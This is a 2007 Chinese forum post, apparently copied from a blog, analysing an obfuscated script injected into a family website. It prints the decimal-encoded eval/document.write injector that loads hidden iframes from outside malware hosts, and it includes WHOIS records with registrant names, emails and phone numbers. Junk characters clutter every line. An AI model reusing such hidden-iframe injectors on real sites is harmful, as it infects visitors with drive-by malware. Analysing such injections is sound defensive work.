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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 2:5Go  
RSfB9)3D  
http://www.areway.cn/?p=175 hFMJDGCw>Q  
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U/}("i![Dy  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: _*l+ze[a  
          >H r&F nh+  
<script>t=’60,105,102,114,97,109,101, lJHU1 gu  
32,115,114,99,61,104,116,116,112,58,47,47, @\*`rl]  
102,114,101,101,46,117,45,117,117,117,46,99, .ZOG,h+8  
110,47,101,114,114,111,114,46,104,116,109, PJfADB7Y  
32,119,105,100,116,104,61,49,48,48,32,104, Y0z)5),[U:  
101,105,103,104,116,61,48,62,60,47,105,102, XE#a#  
114,97,109,101,62′; plNoI1st  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 8}M-b6R V  
                                                                                                  MnL o{G]  
<script>t=’60,105,102,114,97,109,101,32,115, fA$2jbGW  
114,99,61,104,116,116,112,58,47,47,102,114, ltWEA  
101,101,46,117,45,117,117,117,46,99,110,47, L`2(u!i J  
101,114,114,111,114,46,104,116,109,32,119, b6%[?k  
105,100,116,104,61,49,48,48,32,104,101,105, vRhI:E)So#  
103,104,116,61,48,62,60,47,105,102,114,97, SO|!x}GfI  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); D6I-:{ws  
document.write(t);</script> m|uVmg!*  
                                                                                                  HfOaJ'+e<  
<html xmlns=” YD9|2S!G  
http://www.w3.org/1999/xhtml 7v']wA r]  
“> Wq2 Bo*[*  
<head> ~|Nj+A  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> _^Z v[P  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />  2S  
<title>首页 - 爱生活家庭网 iFOa9!_0n  
                                                                                                                                                    awU! 3)B  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 (^HU|   
转换字符串后的大概内容是(谁点击后果自付): ~XeWN^l(Ov  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… <)$e*HrI  
                                                                                                                                  XQ'$J_hC  
查询玉米u-uuu.cn的详细信息: ,Gi%D3lA  
Domain Name: u-uuu.cn \? n<UsI  
ROID: 20070901s10001s64972306-cn <@S'vcO  
Domain Status: ok )H1\4LeP  
Registrant Organization: 王雷 $RA+StF!]  
Registrant Name: 王雷 :Z[|B(U  
Administrative Email: czlovexs@126.com h wi!C}  
Sponsoring Registrar: 北京万网志成科技有限公司 Gh5 3 Pne  
Name Server:ns.yovole.com ]."t  
Name Server:ns1.yovole.com x'v-]C(@  
Registration Date: 2007-09-01 17:54 2!)|B ;y  
Expiration Date: 2008-09-01 17:54 g#iRkz%l)&  
最后PING了一下地址 都没有什么…. Vl^p3f[  
                                                                                                3^Q;On|  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. {_G_YL[  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 6fm oI K{  
<script language=”javascript” src=” F! [Gj%~I  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 8kf5u#,'  
> 6Z@?W  
这个玉米应该有可能是木马作者的: l3Qt_I)L  
foafau.info的详细信息: mIe 5{.m#  
Access to INFO WHOIS information is provided to assist persons in dDbH+kqO  
determining the contents of a domain name registration record in the N0pA ,&  
Afilias registry database. The data in this record is provided by A I v  
Afilias Limited for informational purposes only, and Afilias does not Ow N~-).%-  
guarantee its accuracy.  This service is intended only for query-based 8 \"A-+_Q  
access. You agree that you will use this data only for lawful purposes I]z4}#+cX  
and that, under no circumstances will you use this data to: (a) allow, hg7_ZjO  
enable, or otherwise support the transmission by e-mail, telephone, or oe*fgk/o9  
facsimile of mass unsolicited, commercial advertising or solicitations 3:aj8F2  
to entities other than the data recipient’s own existing customers; or QQ/9ZI5  
(b) enable high volume, automated, electronic processes that send (kVxa8 0  
queries or data to the systems of Registry Operator, a Registrar, or .wO-2h{Q  
Afilias except as reasonably necessary to register domain names or ! GJT-[  
modify existing registrations. All rights reserved. Afilias reserves s-4qK(ml-  
the right to modify these terms at any time. By submitting this query, >l b9j>  
you agree to abide by this policy. W %1/: _  
Domain ID:D22418703-LRMS k?}y@$[)  
Domain Name:FOAFAU.INFO l(pP*2  
Created On:20-Nov-2007 16:05:42 UTC Obx!>mI^6  
Last Updated On:20-Nov-2007 16:05:44 UTC @rv)J[7Y&  
Expiration Date:20-Nov-2008 16:05:42 UTC q%/\  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ?BX}0RWMh7  
Status:CLIENT DELETE PROHIBITED m f\tMik<  
Status:CLIENT RENEW PROHIBITED \Ez&?yb/  
Status:CLIENT TRANSFER PROHIBITED '=+gwe M  
Status:CLIENT UPDATE PROHIBITED M4n0GWHLy  
Status:TRANSFER PROHIBITED gg.lajX  
Registrant ID:GODA-040110615 U]&/F{3 im  
Registrant Name:liu hong <M,<|Y*)  
Registrant Organization: ?L|Ai\|  
Registrant Street1:beijing F@KtRUxE  
Registrant Street2: !<<wI'8  
Registrant Street3: C{G;G@/7  
Registrant City:beijing Byh!Snoe  
Registrant State/Province: dG!)<  
Registrant Postal Code:100000 dbg%n 0h  
Registrant Country:CN  e**5_L  
Registrant Phone:+86.860108888777 _Qq lOc9  
Registrant Phone Ext.: v\g1 w&PN  
Registrant FAX: EeQ2\'t  
Registrant FAX Ext.: CHVAs9mrNB  
Registrant Email:bbbshiji@163.com [4Q;5 'Dj  
Admin ID:GODA-240110615 OGcW]i  
Admin Name:liu hong dt Br#Te  
Admin Organization: 5S ) N&%  
Admin Street1:beijing zCS&w ~  
Admin Street2: F9>"1  
Admin Street3: 4,&f#=Y  
Admin City:beijing 1*f/Y9 Z  
Admin State/Province: ?jsgBol  
Admin Postal Code:100000 JF'<""  
Admin Country:CN PB)vE  
Admin Phone:+86.860108888777 /vPr^Wv  
Admin Phone Ext.: ^SbxClUfw!  
Admin FAX: s)+] pxV0-  
Admin FAX Ext.: e35")z~  
Admin Email:bbbshiji@163.com %NcBq3  
Billing ID:GODA-340110615 braI MIQ`  
Billing Name:liu hong FzF#V=9lP  
Billing Organization: wjTW{Bg~G  
Billing Street1:beijing [sK'jQo-[1  
Billing Street2: (ylZ[M&B:  
Billing Street3: iM$iZ;Tp  
Billing City:beijing +fHqGZ]  
Billing State/Province: vcZ"4%w  
Billing Postal Code:100000 Y=/;7T  
Billing Country:CN I5]58Ohx  
Billing Phone:+86.860108888777 Qnx?5R-}ZU  
Billing Phone Ext.: xiVbVr#[  
Billing FAX: ;<=z^1X9  
Billing FAX Ext.: 1I%niQv5t  
Billing Email:bbbshiji@163.com d>0 j!+s  
Tech ID:GODA-140110615 HP=5 a.  
Tech Name:liu hong YXg^t$  
Tech Organization: )"g @"LJ=  
Tech Street1:beijing ?z3|^oU~d  
Tech Street2: (S_1C,  
Tech Street3: t1p[!53(  
Tech City:beijing CQA^"Ll  
Tech State/Province: Hn]6re  
Tech Postal Code:100000 ItE)h[86  
Tech Country:CN D77$aCt  
Tech Phone:+86.860108888777 P )[QC  
Tech Phone Ext.: ^vZu[ m  
Tech FAX: (hIe!"s *  
Tech FAX Ext.: >}r 1A  
Tech Email:bbbshiji@163.com g@m__   
Name Server:NS27.DOMAINCONTROL.COM @2eH;?uO  
Name Server:NS28.DOMAINCONTROL.COM /S9n!H:MT  
Name Server: 0xV[C4E[6  
Name Server: ?SX0e(+}}  
Name Server: b~?3HY:t~K  
Name Server: w ; PV &M  
Name Server: "uBr]N:  
Name Server: 1#x@  
Name Server: "R[6Q ^vw  
Name Server: -];Hb'M.!e  
Name Server: ^ lG^.  
Name Server: ze`qf%  
Name Server: 0Hr)h{!F"  
                                                                                                          Oe0dC9H  
接着下载每个文件里面的代码: (Li)@Cn%  
一步一步看.. OQ _wsAA  
3ZqtIQY`  
<7oZV^nd *  
8u Z4[  
C7!=LiK}  
;_1 >nXh  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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